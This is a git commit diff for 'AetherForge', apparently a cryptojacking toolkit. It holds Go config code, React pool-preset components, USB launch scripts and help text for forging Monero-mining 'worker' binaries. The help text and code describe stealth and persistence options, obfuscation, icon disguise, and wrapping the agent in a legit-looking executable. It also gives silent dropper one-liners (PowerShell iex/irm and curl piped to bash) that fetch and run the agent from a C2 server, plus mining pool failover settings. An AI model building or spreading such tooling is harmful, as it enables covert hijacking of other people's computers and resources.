Add pool presets, operator bake-ins, and USB pack improvements

- Pool preset checkboxes with failover in Calibrate and Forge

- Tier 1/2 UX: setup banner, forge next worker, LAN defaults, blueprint prompt

- USB: auto-install forge tools, seed config.json, sync LAUNCH.bat
This commit is contained in:
AetherForge
2026-06-01 21:06:19 -07:00
parent 1e0482ebe1
commit 1413a9394f
29 changed files with 1078 additions and 314 deletions

View File

@@ -135,28 +135,20 @@ set "GOENV=off"
:: ----------------------------------------------------------------
:: 3. Install optional Forge tools if missing (non-fatal)
:: ----------------------------------------------------------------
if /i "%AF_INSTALL_TOOLS%"=="1" (
if /i not "%AF_INSTALL_TOOLS%"=="0" (
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
echo [Tools] Installing garble - obfuscation support...
echo [Tools] Installing garble...
"%GO_BIN%" install mvdan.cc/garble@latest
if errorlevel 1 (
echo [Tools] WARNING: garble install failed - Forge obfuscation will be skipped.
) else (
echo [Tools] garble ready.
)
if errorlevel 1 echo [Tools] WARN: garble install failed.
)
if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" (
echo [Tools] Installing go-winres - Windows icon disguise...
echo [Tools] Installing go-winres...
"%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1
if errorlevel 1 (
echo [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped.
) else (
echo [Tools] go-winres ready.
)
if errorlevel 1 echo [Tools] WARN: go-winres install failed.
)
) else (
echo [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install.
echo [Tools] Auto-install disabled (AF_INSTALL_TOOLS=0).
)
:: ----------------------------------------------------------------

View File

@@ -1,5 +1,21 @@
tls: gulf.moneroocean.stream 20004
Monero pool presets (wallet address only — no account registration)
tls xmr-us-west1.nanopool.org 10343
MoneroOcean
TLS: gulf.moneroocean.stream:20128
Plain: gulf.moneroocean.stream:10128
non-tls xmr-us-west1.nanopool.org 10300
SupportXMR
TLS: pool.supportxmr.com:443
Plain: pool.supportxmr.com:3333
HeroMiners
TLS: xmr.herominers.com:1120
Plain: xmr.herominers.com:1111
2Miners
Plain: xmr.2miners.com:2222
XMRPool.eu
Plain: pool.xmrpool.eu:3333
In AetherForge Calibrate and Forge: check one or more presets; the first reachable pool is used, then failover rotates through the rest.

View File

@@ -166,7 +166,14 @@ if not exist "%USB%\data\blueprints" mkdir "%USB%\data\blueprints"
if not exist "%USB%\data\preps" mkdir "%USB%\data\preps"
if not exist "%USB%\data\spread-kits" mkdir "%USB%\data\spread-kits"
if not exist "%USB%\data\uploads" mkdir "%USB%\data\uploads"
echo [7/8] data\ ready - existing config and db preserved.
if not exist "%USB%\data\config.json" (
echo [7/8] Writing starter config.json...
powershell -NoProfile -Command ^
"$j = @{ port = 8989; data_dir = 'data'; pool = @{ host = 'pool.supportxmr.com'; port = 443; use_tls = $true; password = 'x'; backup_pools = @(@{ host = 'gulf.moneroocean.stream'; port = 20128; use_tls = $true }, @{ host = 'xmr.herominers.com'; port = 1120; use_tls = $true }) }; wallet = @{ address = ''; payment_id = '' }; server = @{ public_url = ''; open_firewall_on_start = $true } }; $j | ConvertTo-Json -Depth 6 | Set-Content -LiteralPath '%USB%\data\config.json' -Encoding utf8"
echo [7/8] Starter config.json created ^(empty wallet, TLS pool presets^).
) else (
echo [7/8] data\ ready - existing config and db preserved.
)
:: ----------------------------------------------------------------
:: Summary

View File

@@ -48,11 +48,19 @@ type ServerSettings struct {
FleetSecret string `json:"fleet_secret"`
}
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
type PoolEndpoint struct {
Host string `json:"host"`
Port int `json:"port"`
UseTLS bool `json:"use_tls"`
}
type PoolConfig struct {
Host string `json:"host"`
Port int `json:"port"`
UseTLS bool `json:"use_tls"`
Password string `json:"password"`
Host string `json:"host"`
Port int `json:"port"`
UseTLS bool `json:"use_tls"`
Password string `json:"password"`
BackupPools []PoolEndpoint `json:"backup_pools,omitempty"`
}
type WalletConfig struct {
@@ -111,9 +119,13 @@ func DefaultConfig() *Config {
DataDir: "data",
Pool: PoolConfig{
Host: "pool.supportxmr.com",
Port: 3333,
Port: 443,
UseTLS: true,
Password: "x",
BackupPools: []PoolEndpoint{
{Host: "gulf.moneroocean.stream", Port: 20128, UseTLS: true},
{Host: "xmr.herominers.com", Port: 1120, UseTLS: true},
},
},
Wallet: WalletConfig{
Address: "",
@@ -152,7 +164,7 @@ func DefaultConfig() *Config {
RejectionRateThresholdPct: 5,
},
Server: ServerSettings{
PublicURL: "https://killa.thetempleofdoom.com",
PublicURL: "",
StatsRetentionHours: 168,
BuildRetentionDays: 30,
PoolReconnectSeconds: 30,
@@ -219,6 +231,9 @@ func mergeConfig(dst, src *Config) {
if src.Pool.Password != "" {
dst.Pool.Password = src.Pool.Password
}
if len(src.Pool.BackupPools) > 0 {
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
}
if src.Wallet.Address != "" {
dst.Wallet.Address = src.Wallet.Address
}
@@ -420,6 +435,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(poolKeys, "password") && src.Pool.Password != "" {
dst.Pool.Password = src.Pool.Password
}
if in(poolKeys, "backup_pools") {
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
}
}
if has("wallet") {
@@ -555,7 +573,7 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if has("server") {
srvKeys := nestedJSONKeys(present, "server")
if in(srvKeys, "public_url") && src.Server.PublicURL != "" {
if in(srvKeys, "public_url") {
dst.Server.PublicURL = src.Server.PublicURL
}
if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 {

View File

@@ -32,9 +32,15 @@ func TestDefaultConfigServerDefaults(t *testing.T) {
if cfg.Port != 8989 {
t.Fatalf("port default: got %d", cfg.Port)
}
if cfg.Pool.Host != "pool.supportxmr.com" || !cfg.Pool.UseTLS {
if cfg.Pool.Host != "pool.supportxmr.com" || cfg.Pool.Port != 443 || !cfg.Pool.UseTLS {
t.Fatalf("pool defaults wrong: %+v", cfg.Pool)
}
if len(cfg.Pool.BackupPools) < 2 {
t.Fatalf("expected TLS backup pools, got %+v", cfg.Pool.BackupPools)
}
if cfg.Server.PublicURL != "" {
t.Fatalf("public_url should default empty, got %q", cfg.Server.PublicURL)
}
if cfg.Server.StatsRetentionHours != 168 {
t.Fatalf("stats retention default: got %d", cfg.Server.StatsRetentionHours)
}
@@ -83,6 +89,17 @@ func TestMergeConfigExplicitNestedServerPartialPreservesBooleans(t *testing.T) {
}
}
func TestMergeConfigExplicitAllowsBlankPublicURL(t *testing.T) {
dst := DefaultConfig()
dst.Server.PublicURL = "https://stale.example.com"
applyMergeFromJSON(t, dst, `{"server":{"public_url":""}}`)
if dst.Server.PublicURL != "" {
t.Fatalf("explicit blank public_url must clear old value, got %q", dst.Server.PublicURL)
}
}
func TestMergeConfigExplicitNestedPoolPartialPreservesUseTLS(t *testing.T) {
dst := DefaultConfig()
dst.Pool.UseTLS = true
@@ -342,7 +359,7 @@ func TestLoadConfigExplicitOpenFirewallFalse(t *testing.T) {
func TestPoolURLTLS(t *testing.T) {
cfg := DefaultConfig()
got := cfg.PoolURL()
want := "stratum+ssl://pool.supportxmr.com:3333"
want := "stratum+ssl://pool.supportxmr.com:443"
if got != want {
t.Fatalf("PoolURL TLS: got %q want %q", got, want)
}
@@ -351,6 +368,7 @@ func TestPoolURLTLS(t *testing.T) {
func TestPoolURLPlainTCP(t *testing.T) {
cfg := DefaultConfig()
cfg.Pool.UseTLS = false
cfg.Pool.Port = 3333
got := cfg.PoolURL()
want := "stratum+tcp://pool.supportxmr.com:3333"
if got != want {

View File

@@ -155,6 +155,7 @@ func main() {
Password: cfg.Pool.Password,
PaymentID: cfg.Wallet.PaymentID,
}
defaultPoolBackups := poolConfigsFromEndpoints(cfg.Pool.BackupPools, cfg)
// Initialize Stratum pool manager (connections keyed by forged pool + wallet)
poolManager := pool.NewManager(
@@ -189,7 +190,7 @@ func main() {
// Pre-connect default upstream pool from server config (Forge defaults seed from here)
go func() {
if _, err := poolManager.EnsurePool(&defaultPoolCfg); err != nil {
if _, err := poolManager.EnsurePoolWithBackups(&defaultPoolCfg, defaultPoolBackups); err != nil {
log.Printf("[Pool] Failed to connect default pool (will retry on agent auth): %v", err)
}
}()
@@ -257,6 +258,24 @@ func main() {
}
}
func poolConfigsFromEndpoints(eps []PoolEndpoint, cfg *Config) []pool.Config {
out := make([]pool.Config, 0, len(eps))
for _, ep := range eps {
if ep.Host == "" || ep.Port <= 0 {
continue
}
out = append(out, pool.Config{
Host: ep.Host,
Port: ep.Port,
UseTLS: ep.UseTLS,
Wallet: cfg.Wallet.Address,
Password: cfg.Pool.Password,
PaymentID: cfg.Wallet.PaymentID,
})
}
return out
}
func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager, builderHandler *builder.Handler) {
if wsHub != nil {
wsHub.SetPingInterval(cfg.Server.WebSocketPingSeconds)

View File

@@ -0,0 +1,70 @@
.pool-preset-picker {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.pool-preset-hint {
margin: 0;
}
.pool-preset-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(220px, 1fr));
gap: 0.65rem 1rem;
}
.pool-preset-group {
display: flex;
flex-direction: column;
gap: 0.35rem;
padding: 0.5rem 0.65rem;
border: 1px solid var(--border-dim, rgba(0, 255, 200, 0.15));
border-radius: 6px;
background: rgba(0, 0, 0, 0.2);
}
.pool-preset-provider {
font-size: 0.75rem;
letter-spacing: 0.06em;
color: var(--neon-cyan, #0ff);
margin-bottom: 0.15rem;
}
.pool-preset-option {
font-size: 0.85rem;
align-items: flex-start;
}
.pool-preset-sub {
opacity: 0.65;
font-size: 0.78rem;
}
.pool-preset-custom-fields {
margin-top: 0.5rem;
flex-wrap: wrap;
gap: 0.5rem;
}
.pool-preset-custom-fields .input.mono {
flex: 2 1 160px;
}
.pool-preset-order {
font-size: 0.82rem;
padding: 0.5rem 0.65rem;
border-left: 3px solid var(--neon-cyan, #0ff);
background: rgba(0, 40, 50, 0.25);
}
.pool-preset-order ol {
margin: 0.35rem 0 0;
padding-left: 1.25rem;
}
.pool-preset-manual {
margin-top: 0.5rem;
padding-top: 0.75rem;
border-top: 1px dashed var(--border-dim, rgba(255, 255, 255, 0.12));
}

View File

@@ -0,0 +1,244 @@
import { useEffect, useMemo, useState } from 'react';
import type { BackupPool } from '../types';
import {
XMR_POOL_PRESETS,
DEFAULT_PRESET_IDS,
orderedPoolsFromSelection,
detectPresetIds,
detectCustomEndpoint,
applyPoolsToForgeFields,
type PoolForgeFields,
} from '../help/poolPresets';
import './PoolPresetPicker.css';
interface PoolPresetPickerProps {
host: string;
port: number;
tls: boolean;
pass: string;
backups?: BackupPool[];
onChange: (next: PoolForgeFields) => void;
/** Show manual host/port fields below presets (Forge advanced). */
showManualFields?: boolean;
}
export default function PoolPresetPicker({
host,
port,
tls,
pass,
backups = [],
onChange,
showManualFields = false,
}: PoolPresetPickerProps) {
const [selectedIds, setSelectedIds] = useState<string[]>(() => {
const detected = detectPresetIds(host, port, tls, backups);
return detected.length ? detected : [...DEFAULT_PRESET_IDS];
});
const customDetected = detectCustomEndpoint(host, port, tls, backups);
const [useCustom, setUseCustom] = useState(!!customDetected);
const [customHost, setCustomHost] = useState(customDetected?.host ?? '');
const [customPort, setCustomPort] = useState(customDetected?.port ?? 3333);
const [customTls, setCustomTls] = useState(customDetected?.tls ?? false);
useEffect(() => {
const detected = detectPresetIds(host, port, tls, backups);
if (detected.length) setSelectedIds(detected);
const c = detectCustomEndpoint(host, port, tls, backups);
if (c) {
setUseCustom(true);
setCustomHost(c.host);
setCustomPort(c.port);
setCustomTls(c.tls);
}
}, [host, port, tls, backups]);
const orderedPreview = useMemo(() => {
const custom: BackupPool | null = useCustom && customHost.trim()
? { host: customHost.trim(), port: customPort || 3333, tls: customTls, pass: pass || 'x' }
: null;
return orderedPoolsFromSelection(selectedIds, pass || 'x', custom);
}, [selectedIds, pass, useCustom, customHost, customPort, customTls]);
const applySelection = (ids: string[], customOn: boolean, cHost: string, cPort: number, cTls: boolean) => {
const custom: BackupPool | null =
customOn && cHost.trim()
? { host: cHost.trim(), port: cPort || 3333, tls: cTls, pass: pass || 'x' }
: null;
const pools = orderedPoolsFromSelection(ids, pass || 'x', custom);
onChange(applyPoolsToForgeFields(pools));
};
const togglePreset = (id: string) => {
const next = selectedIds.includes(id)
? selectedIds.filter((x) => x !== id)
: [...selectedIds, id];
if (!next.length) return;
setSelectedIds(next);
applySelection(next, useCustom, customHost, customPort, customTls);
};
const grouped = useMemo(() => {
const map = new Map<string, typeof XMR_POOL_PRESETS>();
for (const p of XMR_POOL_PRESETS) {
const list = map.get(p.provider) ?? [];
list.push(p);
map.set(p.provider, list);
}
return [...map.entries()];
}, []);
return (
<div className="pool-preset-picker">
<p className="form-hint pool-preset-hint">
Check one or more pools. The control server and forged miners try each in order and use the first
reachable endpoint (round-robin failover). Wallet address only no pool account needed.
</p>
<div className="pool-preset-grid">
{grouped.map(([provider, presets]) => (
<div key={provider} className="pool-preset-group">
<span className="pool-preset-provider font-tech">{provider}</span>
{presets.map((p) => (
<label key={p.id} className="pool-preset-option checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={selectedIds.includes(p.id)}
onChange={() => togglePreset(p.id)}
/>
<span>
<code>{p.host}:{p.port}</code>
{p.tls ? ' TLS' : ''}
<span className="pool-preset-sub"> ({p.hint})</span>
</span>
</label>
))}
</div>
))}
</div>
<div className="pool-preset-custom">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={useCustom}
onChange={(e) => {
const on = e.target.checked;
setUseCustom(on);
applySelection(selectedIds, on, customHost, customPort, customTls);
}}
/>
<span>Add custom pool</span>
</label>
{useCustom && (
<div className="pool-preset-custom-fields form-row">
<input
type="text"
className="input mono"
placeholder="pool.example.com"
value={customHost}
onChange={(e) => {
setCustomHost(e.target.value);
applySelection(selectedIds, true, e.target.value, customPort, customTls);
}}
/>
<input
type="number"
className="input"
min={1}
max={65535}
value={customPort}
onChange={(e) => {
const v = e.target.valueAsNumber || 3333;
setCustomPort(v);
applySelection(selectedIds, true, customHost, v, customTls);
}}
/>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={customTls}
onChange={(e) => {
setCustomTls(e.target.checked);
applySelection(selectedIds, true, customHost, customPort, e.target.checked);
}}
/>
<span>TLS</span>
</label>
</div>
)}
</div>
{orderedPreview.length > 0 && (
<div className="pool-preset-order">
<span className="font-tech">Failover order</span>
<ol>
{orderedPreview.map((p, i) => (
<li key={`${p.host}:${p.port}:${p.tls}`}>
{i === 0 ? 'Primary' : `Backup ${i}`}: {p.host}:{p.port}
{p.tls ? ' (TLS)' : ''}
</li>
))}
</ol>
</div>
)}
{showManualFields && (
<div className="pool-preset-manual form-row">
<div className="form-group">
<label className="label">Pool Host</label>
<input
type="text"
className="input mono"
value={host}
onChange={(e) =>
onChange({
pool_host: e.target.value,
pool_port: port,
pool_tls: tls,
backup_pools: backups,
})
}
/>
</div>
<div className="form-group">
<label className="label">Port</label>
<input
type="number"
className="input"
min={1}
max={65535}
value={port}
onChange={(e) =>
onChange({
pool_host: host,
pool_port: e.target.valueAsNumber || 3333,
pool_tls: tls,
backup_pools: backups,
})
}
/>
</div>
<label className="checkbox-label" style={{ alignSelf: 'flex-end' }}>
<input
type="checkbox"
className="checkbox"
checked={tls}
onChange={(e) =>
onChange({
pool_host: host,
pool_port: port,
pool_tls: e.target.checked,
backup_pools: backups,
})
}
/>
<span>TLS</span>
</label>
</div>
)}
</div>
);
}

View File

@@ -57,6 +57,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {
<form className="session-gate-card card" onSubmit={handleLogin}>
<h1 className="font-display">AetherForge</h1>
<p className="form-hint">Sign in to open the command deck.</p>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
First run: password is in the LAUNCH console or <code className="mono-sm">data\login-credentials.json</code> next to the server data folder.
</p>
<label className="label" htmlFor="session-user">Username</label>
<input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
<label className="label" htmlFor="session-pass">Password</label>

View File

@@ -0,0 +1,21 @@
import { Link } from 'react-router-dom';
import NeonCard from './NeonCard/NeonCard';
import type { SetupStatus } from '../help/setupStatus';
export default function SetupBanner({ status }: { status: SetupStatus }) {
if (!status.needsCalibration) return null;
return (
<NeonCard accent="amber" className="calibrate-banner" hud style={{ marginBottom: '1rem' }}>
<p className="font-tech">SETUP INCOMPLETE</p>
<ul className="form-hint" style={{ margin: '0.5rem 0', paddingLeft: '1.25rem' }}>
{status.reasons.map((r) => (
<li key={r}>{r}</li>
))}
</ul>
<p className="form-hint">Finish one-time calibration so Forge and the pool relay use your wallet and LAN URL.</p>
<Link to="/settings" className="btn btn-primary btn-sm" style={{ marginTop: '0.75rem' }}>
Open Calibrate
</Link>
</NeonCard>
);
}

View File

@@ -90,9 +90,9 @@ describe('FORGE_VS_CALIBRATE', () => {
});
describe('NETWORK_GUIDE', () => {
it('has five network topology steps with unique ids', () => {
expect(NETWORK_GUIDE).toHaveLength(5);
expect(NETWORK_GUIDE.map((s) => s.id)).toEqual(['n1', 'n2', 'n3', 'n4', 'n5']);
it('has four LAN network steps with unique ids', () => {
expect(NETWORK_GUIDE).toHaveLength(4);
expect(NETWORK_GUIDE.map((s) => s.id)).toEqual(['n1', 'n2', 'n3', 'n4']);
assertSteps(NETWORK_GUIDE);
});
});
@@ -163,7 +163,7 @@ describe('ROADMAP_FEATURES', () => {
describe('CHEAT_SECTIONS', () => {
const expectedSections = [
{ id: 'pipeline', title: 'End-to-end pipeline' },
{ id: 'network', title: 'Network topology — Cloudflare tunnel setup' },
{ id: 'network', title: 'Network topology — LAN + USB' },
{ id: 'fusion', title: 'Fusion workflow' },
{ id: 'ai', title: 'AI Autonomy workflow' },
{ id: 'troubleshoot', title: 'Troubleshooting' },

View File

@@ -32,8 +32,8 @@ export const PIPELINE_STEPS: CheatStep[] = [
route: '/settings',
routeLabel: 'Open Calibrate',
tips: [
'Port default is 8080 — change if conflicting',
'Leave Public URL blank when behind Cloudflare (server binds 0.0.0.0:PORT, CF handles external)',
'Port default is 8989 — change if conflicting',
'Set Public URL to your LAN address (Use detected LAN in Calibrate) so Forge pre-fills worker C2 URLs',
'Set a default wallet address here so every new Forge form pre-fills it',
'Build retention: how many days old builds stay on disk before auto-purge',
],
@@ -43,12 +43,12 @@ export const PIPELINE_STEPS: CheatStep[] = [
title: 'Forge',
subtitle: 'Build a worker binary',
icon: '⚒',
body: 'Every setting is compiled directly into the agent .exe — nothing is fetched at runtime. Fill in your C2 URL (e.g. your Cloudflare tunnel), wallet, pool, stealth mode, persistence, and hit FORGE INSTALLER.',
body: 'Every setting is compiled directly into the agent .exe — nothing is fetched at runtime. Fill in your LAN control URL, wallet, pool, stealth mode, persistence, and hit FORGE INSTALLER.',
route: '/forge',
routeLabel: 'Open Forge',
tips: [
'C2 URL example: https://your-tunnel.trycloudflare.com (no trailing slash)',
'For LAN-only: http://192.168.1.50:8080',
'C2 URL example: http://192.168.1.50:8989 (LAN IP — not localhost)',
'Use Calibrate → Use best defaults for TLS pool presets + detected LAN URL',
'Preflight must be all-green (✓) or yellow (!) to forge — red (✕) blocks it',
'Save a Blueprint after tuning so you can one-click re-forge the same config later',
'Fusion: wrap the agent inside a legit-looking prep.exe so it looks like your real app',
@@ -77,13 +77,13 @@ export const PIPELINE_STEPS: CheatStep[] = [
icon: '📡',
body: 'Send a single command to any PC and it silently downloads + runs the pinned build. The dropper auto-detects OS from User-Agent. Terminal closes automatically after launch.',
tips: [
'Windows (PowerShell): iex (irm \'https://your-tunnel.trycloudflare.com/install.ps1\')',
'Linux/Mac (bash): curl -sL https://your-tunnel.trycloudflare.com/install.sh | bash',
'Direct download: https://your-tunnel.trycloudflare.com/get?os=windows',
'Windows (PowerShell): iex (irm \'http://192.168.1.50:8989/install.ps1\')',
'Linux/Mac (bash): curl -sL http://192.168.1.50:8989/install.sh | bash',
'Direct download: http://192.168.1.50:8989/get?os=windows',
'Endpoints /get, /install.sh, /install.ps1 are unauthenticated — URL knowledge is the gate',
'Pin the correct build in Build Manager before sending the one-liner',
],
code: `iex (irm 'https://YOUR-TUNNEL.trycloudflare.com/install.ps1')`,
code: `iex (irm 'http://192.168.1.50:8989/install.ps1')`,
},
{
id: 'connect',
@@ -98,7 +98,7 @@ export const PIPELINE_STEPS: CheatStep[] = [
'Remote action buttons are disabled when the agent is offline — by design',
'Agent logs: use Fetch Log (get_log) in Remote Control, or AI upload_log tool reports — no separate log-ingest API',
'If agent never appears: check C2 URL is reachable from the target machine',
'Cloudflare tunnel on a different machine is fine — agent connects to the tunnel URL',
'Agents must reach your LAN control URL — test from the target PC in a browser',
'Worker name you set in Forge shows as the agent name in the roster',
],
},
@@ -125,7 +125,7 @@ export const FORGE_VS_CALIBRATE = {
forge: {
title: 'Forge — baked into each binary',
items: [
'C2 server URL (e.g. Cloudflare tunnel)',
'C2 server URL (LAN http://IP:8989)',
'Wallet address & payment ID',
'Pool host, port, TLS on/off, pool password',
'Worker name (shows in Fleet Roster)',
@@ -147,7 +147,7 @@ export const FORGE_VS_CALIBRATE = {
calibrate: {
title: 'Calibrate — control server only',
items: [
'Listen port (default 8080)',
'Listen port (default 8989)',
'Data directory path',
'Dashboard subtitle (cosmetic)',
'Default pool/wallet shown in new Forge forms',
@@ -163,21 +163,20 @@ export const FORGE_VS_CALIBRATE = {
},
};
// ─── Network / Cloudflare topology ────────────────────────────────────────────
// ─── Network / LAN topology ───────────────────────────────────────────────────
export const NETWORK_GUIDE: CheatStep[] = [
{
id: 'n1',
title: 'Portable self-configuring tunnel',
subtitle: 'Bundled into LAUNCH.bat',
title: 'Portable control deck',
subtitle: 'LAUNCH.bat',
icon: '🚀',
body: 'LAUNCH.bat detects and auto-installs cloudflared from the bundled MSI, writes a fresh config.yml every boot (handles drive-letter changes), stages credentials to the local machine, then starts the tunnel. Fully portable — plug into any machine and the tunnel comes up automatically.',
body: 'LAUNCH.bat starts AetherForge.exe on 0.0.0.0:8989, opens the dashboard at localhost, and installs garble/go-winres into the portable toolchain when missing (for Forge on the USB PC).',
tips: [
'One-time setup only: see cloudflare/SETUP.txt to create your tunnel and export credentials',
'After setup: drop credentials.json in the cloudflare/ folder — everything else is automatic',
'Same machine: reuses existing credentials and skips re-copy (idempotent)',
'cloudflared always connects to 127.0.0.1:8989 (localhost) — no IP detection needed',
'On exit: LAUNCH.bat kills the cloudflared process cleanly',
'Dashboard on this PC: http://localhost:8989',
'Workers on other PCs need your LAN IP, not localhost',
'First login: credentials print in the LAUNCH window or data\\login-credentials.json',
'Run pack-usb.bat from the repo to refresh the portable bundle',
],
},
{
@@ -185,69 +184,48 @@ export const NETWORK_GUIDE: CheatStep[] = [
title: 'C2 server binding',
subtitle: '0.0.0.0:8989',
icon: '🖥',
body: 'AetherForge binds to all interfaces on port 8989. It does not know or care about Cloudflare — cloudflared connects to it at 127.0.0.1:8989. The server never needs to be publicly exposed directly.',
body: 'AetherForge binds to all interfaces on port 8989. Calibrate stores your LAN URL so Forge and dropper one-liners use the right address for workers on your network.',
tips: [
'Leave Public URL blank in Calibrate — not needed',
'Dashboard LAN access: http://<lan-ip>:8989',
'Dashboard public access: https://killa.thetempleofdoom.com (via tunnel)',
'LAN and tunnel both work simultaneously',
'Calibrate → Use detected LAN → Save Calibration',
'Dashboard on LAN: http://<lan-ip>:8989',
'Open firewall on start (Calibrate) helps workers reach the deck',
],
},
{
id: 'n3',
title: 'Named tunnel — permanent hostname',
subtitle: 'killa.thetempleofdoom.com',
icon: '',
body: 'The tunnel is a named Cloudflare tunnel (not a quick/temporary tunnel). The subdomain killa.thetempleofdoom.com is a CNAME to your fixed tunnel ID — it never changes regardless of which machine you run from.',
title: 'Forge C2 URL',
subtitle: 'Bake LAN endpoint',
icon: '🔗',
body: 'Set Control Endpoint in Forge to your Calibrate public URL (LAN). Smart defaults also fill backup C2 URLs from other detected LAN IPs on this host.',
tips: [
'Tunnel credentials JSON = portable "license" for the tunnel',
'Any machine with that JSON + cloudflared can run the tunnel',
'DNS CNAME: killa → <tunnel-id>.cfargotunnel.com (set once in CF DNS)',
'Tunnel ID is in the credentials.json — LAUNCH.bat parses it automatically',
'Example: http://192.168.1.50:8989',
'Never use localhost — workers cannot reach it',
'Backup C2 URLs: other LAN IPs on the same control PC (auto-filled)',
'Agents try primary then backup C2s if unreachable',
],
code: `# One-time setup (run once on any machine):
cloudflared tunnel login
cloudflared tunnel create aetherforge-c2
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
# Then copy credentials to USB:
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json`,
code: `Control Endpoint: http://192.168.1.50:8989
Backup C2 (optional): http://192.168.1.51:8989`,
},
{
id: 'n4',
title: 'Forge C2 URL',
subtitle: 'Bake the permanent hostname',
icon: '🔗',
body: 'Set Control Endpoint in Forge to your permanent Cloudflare hostname. Baked into every agent — they connect from any network, any country, through the tunnel to your C2.',
tips: [
'Control Endpoint: https://killa.thetempleofdoom.com',
'No port, no trailing slash',
'Backup C2 field: add http://192.168.x.x:8989 as LAN fallback',
'Agents try all C2s in order if one is unreachable',
],
code: `Control Endpoint: https://killa.thetempleofdoom.com
Backup C2 (optional): http://192.168.1.50:8989`,
},
{
id: 'n5',
title: 'Dropper one-liners',
subtitle: 'Permanent URLs — no more temp tunnels',
subtitle: 'LAN scripts (+ optional tunnel)',
icon: '💧',
body: 'With a named tunnel and permanent hostname, your dropper one-liners never change. Pin a build in Build Manager then send one of these to any machine.',
body: 'Pin a build in Build Manager, then use your LAN URL below. If you later run an external tunnel on another machine, point it to this host and replace the URL host in these commands.',
tips: [
'The PS1 dropper is fully silent — downloads, runs agent hidden, closes terminal',
'/get?os=windows — direct binary, auto-detected OS if no ?os= param',
'Endpoints are unauthenticated — the URL is the gate',
'PS1 dropper is silent — downloads, runs agent, closes terminal',
'/get?os=windows — direct binary download',
'Dashboard requires login — dropper does not',
'Optional: external tunnel machine forwards to this PC on port 8989',
],
code: `# Windows (any PowerShell):
iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
code: `# Windows (PowerShell):
iex (irm 'http://192.168.1.50:8989/install.ps1')
# Linux / macOS:
curl -sL https://killa.thetempleofdoom.com/install.sh | bash
curl -sL http://192.168.1.50:8989/install.sh | bash
# Direct binary:
https://killa.thetempleofdoom.com/get`,
http://192.168.1.50:8989/get`,
},
];
@@ -351,11 +329,11 @@ ollama run llama3.2`,
export const TROUBLESHOOTING = [
{
problem: 'Agent never appears in Fleet Roster',
fix: 'The C2 URL baked into the agent must be reachable from the target machine. If using Cloudflare tunnel: tunnel must be running on its machine and pointing at your C2 LAN IP. Test: open https://your-tunnel.trycloudflare.com in a browser on the target machine — you should see the dashboard login.',
fix: 'The C2 URL baked into the agent must be reachable from the target machine. Use your LAN URL (http://192.168.x.x:8989), not localhost. Test: open that URL in a browser on the target machine — you should see the dashboard login.',
},
{
problem: 'Forge blocked — server_url error',
fix: 'Do NOT use localhost or 127.0.0.1 as the C2 URL (worker cannot reach those). Use your LAN IP (192.168.x.x:PORT) or your Cloudflare tunnel URL. The port appends automatically for LAN IPs — use the tunnel URL to avoid that.',
fix: 'Do NOT use localhost or 127.0.0.1 as the C2 URL (workers cannot reach those). Use your LAN IP with port 8989, e.g. http://192.168.1.50:8989. Calibrate → Use detected LAN fills this for you.',
},
{
problem: '0 hashrate / shares never appear',
@@ -379,7 +357,7 @@ export const TROUBLESHOOTING = [
},
{
problem: 'PS1 dropper does nothing / errors',
fix: 'Open PowerShell as Admin. Run: Set-ExecutionPolicy Bypass -Scope Process then retry iex (irm \'...\'. Also ensure your Cloudflare tunnel is running and the pinned build exists in Build Manager.',
fix: 'Open PowerShell as Admin. Run: Set-ExecutionPolicy Bypass -Scope Process then retry iex (irm \'...\'). Ensure the control server is running, the LAN URL is reachable from that PC, and the pinned build exists in Build Manager.',
},
{
problem: 'Forge hangs / Kill Build button',
@@ -433,8 +411,8 @@ export const CHEAT_SECTIONS: CheatSection[] = [
},
{
id: 'network',
title: 'Network topology — Cloudflare tunnel setup',
description: 'AetherForge binds to 0.0.0.0:PORT. Cloudflare Tunnel runs on a separate machine and makes it reachable from anywhere — no port forwarding, no static IP.',
title: 'Network topology — LAN + USB',
description: 'AetherForge runs locally at localhost:8989 and binds 0.0.0.0:8989 for LAN workers. Optional external tunneling can be added on another machine later without changing local USB workflow.',
steps: NETWORK_GUIDE,
},
{

View File

@@ -1,5 +1,5 @@
import { describe, expect, it } from 'vitest';
import { FORGE_BUILD_DEFAULTS, DEFAULT_PUBLIC_TUNNEL, forgeDefaultsFromServer } from './forgeDefaults';
import { FORGE_BUILD_DEFAULTS, forgeDefaultsFromServer } from './forgeDefaults';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
describe('FORGE_BUILD_DEFAULTS', () => {
@@ -47,12 +47,12 @@ describe('forgeDefaultsFromServer', () => {
expect(result.server_url).toBe('https://tunnel.example.com');
});
it('falls back to baked tunnel URL when public_url is blank', () => {
it('falls back to suggested LAN URL when public_url is blank', () => {
const config = mockServerConfig({
server: { public_url: ' ' },
});
const result = forgeDefaultsFromServer(config, mockServerInfo);
expect(result.server_url).toBe(DEFAULT_PUBLIC_TUNNEL);
expect(result.server_url).toBe(mockServerInfo.suggested_url);
});
it('reflects obfuscate and sign defaults from server config', () => {

View File

@@ -1,8 +1,5 @@
